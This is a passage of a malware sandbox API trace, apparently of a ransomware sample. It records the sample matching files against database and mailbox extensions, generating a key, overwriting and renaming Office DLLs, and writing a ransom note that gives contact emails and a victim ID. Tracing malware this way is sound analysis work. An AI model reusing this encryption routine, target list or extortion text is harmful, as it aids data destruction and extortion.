	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".EDB") returned 0x0
	[0146.809] lstrlenW (lpString=".DACPAC") returned 7
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DACPAC") returned 0x0
	[0146.809] lstrlenW (lpString=".VHD") returned 4
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".VHD") returned 0x0
	[0146.809] lstrlenW (lpString=".DBV") returned 4
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DBV") returned 0x0
	[0146.809] lstrlenW (lpString=".dacpac") returned 7
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".dacpac") returned 0x0
	[0146.809] lstrlenW (lpString=".sdf") returned 4
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".sdf") returned 0x0
	[0146.809] lstrlenW (lpString=".accdb") returned 6
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".accdb") returned 0x0
	[0146.809] lstrlenW (lpString=".DBX") returned 4
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DBX") returned 0x0
	[0146.809] lstrlenW (lpString=".MDT") returned 4
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".MDT") returned 0x0
	[0146.809] lstrlenW (lpString=".SQB") returned 4
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".SQB") returned 0x0
	[0146.809] lstrlenW (lpString=".vhd") returned 4
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".vhd") returned 0x0
	[0146.809] lstrlenW (lpString=".bac") returned 4
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".bac") returned 0x0
	[0146.809] lstrlenW (lpString=".mdf") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".mdf") returned 0x0
	[0146.810] lstrlenW (lpString=".BAK") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".BAK") returned 0x0
	[0146.810] lstrlenW (lpString=".BAC") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".BAC") returned 0x0
	[0146.810] lstrlenW (lpString=".dbs") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".dbs") returned 0x0
	[0146.810] lstrlenW (lpString=".vhdx") returned 5
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".vhdx") returned 0x0
	[0146.810] lstrlenW (lpString=".NDF") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".NDF") returned 0x0
	[0146.810] lstrlenW (lpString=".dat") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".dat") returned 0x0
	[0146.810] lstrlenW (lpString=".DBS") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DBS") returned 0x0
	[0146.810] lstrlenW (lpString=".CKP") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".CKP") returned 0x0
	[0146.810] lstrlenW (lpString=".edb") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".edb") returned 0x0
	[0146.810] lstrlenW (lpString=".PST") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".PST") returned 0x0
	[0146.810] lstrlenW (lpString=".dbf") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".dbf") returned 0x0
	[0146.810] lstrlenW (lpString=".SQL") returned 4
	[0146.810] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".SQL") returned 0x0
	[0146.811] lstrlenW (lpString=".pst") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".pst") returned 0x0
	[0146.811] lstrlenW (lpString=".dbv") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".dbv") returned 0x0
	[0146.811] lstrlenW (lpString=".SDF") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".SDF") returned 0x0
	[0146.811] lstrlenW (lpString=".dtxs") returned 5
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".dtxs") returned 0x0
	[0146.811] lstrlenW (lpString=".db3") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".db3") returned 0x0
	[0146.811] lstrlenW (lpString=".OST") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".OST") returned 0x0
	[0146.811] lstrlenW (lpString=".dbx") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".dbx") returned 0x0
	[0146.811] lstrlenW (lpString=".DB3") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DB3") returned 0x0
	[0146.811] lstrlenW (lpString=".DAT") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DAT") returned 0x0
	[0146.811] lstrlenW (lpString=".VHDX") returned 5
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".VHDX") returned 0x0
	[0146.811] lstrlenW (lpString=".ndf") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".ndf") returned 0x0
	[0146.811] lstrlenW (lpString=".DB") returned 3
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DB") returned 0x0
	[0146.811] lstrlenW (lpString=".sql") returned 4
	[0146.811] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".sql") returned 0x0
	[0146.812] lstrlenW (lpString=".MYD") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".MYD") returned 0x0
	[0146.812] lstrlenW (lpString=".DBT") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DBT") returned 0x0
	[0146.812] lstrlenW (lpString=".ACCDB") returned 6
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".ACCDB") returned 0x0
	[0146.812] lstrlenW (lpString=".fdb") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".fdb") returned 0x0
	[0146.812] lstrlenW (lpString=".bak") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".bak") returned 0x0
	[0146.812] lstrlenW (lpString=".myd") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".myd") returned 0x0
	[0146.812] lstrlenW (lpString=".DTXS") returned 5
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DTXS") returned 0x0
	[0146.812] lstrlenW (lpString=".ckp") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".ckp") returned 0x0
	[0146.812] lstrlenW (lpString=".dbt") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".dbt") returned 0x0
	[0146.812] lstrlenW (lpString=".db") returned 3
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".db") returned 0x0
	[0146.812] lstrlenW (lpString=".TXT") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".TXT") returned 0x0
	[0146.812] lstrlenW (lpString=".MDF") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".MDF") returned 0x0
	[0146.812] lstrlenW (lpString=".bdb") returned 4
	[0146.812] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".bdb") returned 0x0
	[0146.813] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.813] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0146.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0146.813] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a09d8) returned 1
	[0146.814] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0146.814] CryptReleaseContext (hProv=0x3a09d8, dwFlags=0x0) returned 1
	[0146.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0146.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.814] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26680442020) returned 1
	[0146.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc0e98710, dwHighDateTime=0x1d60e1e)) 
	[0146.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28d2018
	[0146.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d2018 | out: hHeap=0x300000) returned 1
	[0146.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.815] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7c70
	[0146.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.815] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0146.815] GetLastError () returned 0x0
	[0146.816] GetLastError () returned 0x0
	[0146.816] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0146.816] GetLastError () returned 0x0
	[0146.816] GetLastError () returned 0x0
	[0146.816] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.862] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.862] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0146.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0146.862] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.862] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.977] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.977] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.977] CloseHandle (hObject=0x10c) returned 1
	[0146.977] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x80) returned 0x395f38
	[0146.977] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll.~~~~")) returned 1
	[0146.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x395f38 | out: hHeap=0x300000) returned 1
	[0146.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.980] GetLastError () returned 0x0
	[0146.980] RtlWakeConditionVariable () returned 0x0
	[0146.980] GetCurrentThreadId () returned 0x9f4
	[0146.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\Read~ME.txt" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0146.982] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0146.982] WriteFile (in: hFile=0x10c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0146.984] CloseHandle (hObject=0x10c) returned 1
	[0146.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c8098 | out: hHeap=0x300000) returned 1
	[0146.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c7d08 | out: hHeap=0x300000) returned 1
	[0146.984] RtlWakeConditionVariable () returned 0x0
	[0146.984] GetCurrentThreadId () returned 0x9f4
	[0146.984] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".scr") returned 0x0
	[0146.985] lstrlenW (lpString=".cmd") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".cmd") returned 0x0
	[0146.985] lstrlenW (lpString=".dll") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".dll") returned 0x0
	[0146.985] lstrlenW (lpString=".bat") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".bat") returned 0x0
	[0146.985] lstrlenW (lpString=".cpl") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".cpl") returned 0x0
	[0146.985] lstrlenW (lpString=".sys") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".sys") returned 0x0
	[0146.985] lstrlenW (lpString=".msc") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".msc") returned 0x0
	[0146.985] lstrlenW (lpString=".com") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".com") returned 0x0
	[0146.985] lstrlenW (lpString=".lnk") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".lnk") returned 0x0
	[0146.985] lstrlenW (lpString=".msp") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".msp") returned 0x0
	[0146.985] lstrlenW (lpString=".pif") returned 4
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".pif") returned 0x0
	[0146.985] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0147.089] lstrlenW (lpString=".sqb") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".sqb") returned 0x0
	[0147.089] lstrlenW (lpString=".ost") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".ost") returned 0x0
	[0147.089] lstrlenW (lpString=".txt") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".txt") returned 0x0
	[0147.089] lstrlenW (lpString=".mdt") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".mdt") returned 0x0
	[0147.089] lstrlenW (lpString=".BDB") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".BDB") returned 0x0
	[0147.089] lstrlenW (lpString=".eql") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".eql") returned 0x0
	[0147.089] lstrlenW (lpString=".DBF") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DBF") returned 0x0
	[0147.089] lstrlenW (lpString=".EQL") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".EQL") returned 0x0
	[0147.089] lstrlenW (lpString=".FDB") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".FDB") returned 0x0
	[0147.089] lstrlenW (lpString=".EDB") returned 4
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".EDB") returned 0x0
	[0147.089] lstrlenW (lpString=".DACPAC") returned 7
	[0147.089] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DACPAC") returned 0x0
	[0147.089] lstrlenW (lpString=".VHD") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".VHD") returned 0x0
	[0147.090] lstrlenW (lpString=".DBV") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DBV") returned 0x0
	[0147.090] lstrlenW (lpString=".dacpac") returned 7
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".dacpac") returned 0x0
	[0147.090] lstrlenW (lpString=".sdf") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".sdf") returned 0x0
	[0147.090] lstrlenW (lpString=".accdb") returned 6
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".accdb") returned 0x0
	[0147.090] lstrlenW (lpString=".DBX") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DBX") returned 0x0
	[0147.090] lstrlenW (lpString=".MDT") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".MDT") returned 0x0
	[0147.090] lstrlenW (lpString=".SQB") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".SQB") returned 0x0
	[0147.090] lstrlenW (lpString=".vhd") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".vhd") returned 0x0
	[0147.090] lstrlenW (lpString=".bac") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".bac") returned 0x0
	[0147.090] lstrlenW (lpString=".mdf") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".mdf") returned 0x0
	[0147.090] lstrlenW (lpString=".BAK") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".BAK") returned 0x0
	[0147.090] lstrlenW (lpString=".BAC") returned 4
	[0147.090] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".BAC") returned 0x0
	[0147.091] lstrlenW (lpString=".dbs") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".dbs") returned 0x0
	[0147.091] lstrlenW (lpString=".vhdx") returned 5
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".vhdx") returned 0x0
	[0147.091] lstrlenW (lpString=".NDF") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".NDF") returned 0x0
	[0147.091] lstrlenW (lpString=".dat") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".dat") returned 0x0
	[0147.091] lstrlenW (lpString=".DBS") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".DBS") returned 0x0
	[0147.091] lstrlenW (lpString=".CKP") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".CKP") returned 0x0
	[0147.091] lstrlenW (lpString=".edb") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".edb") returned 0x0
	[0147.091] lstrlenW (lpString=".PST") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".PST") returned 0x0
	[0147.091] lstrlenW (lpString=".dbf") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".dbf") returned 0x0
	[0147.091] lstrlenW (lpString=".SQL") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".SQL") returned 0x0
	[0147.091] lstrlenW (lpString=".pst") returned 4
	[0147.091] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL", lpSrch=".pst") returned 0x0
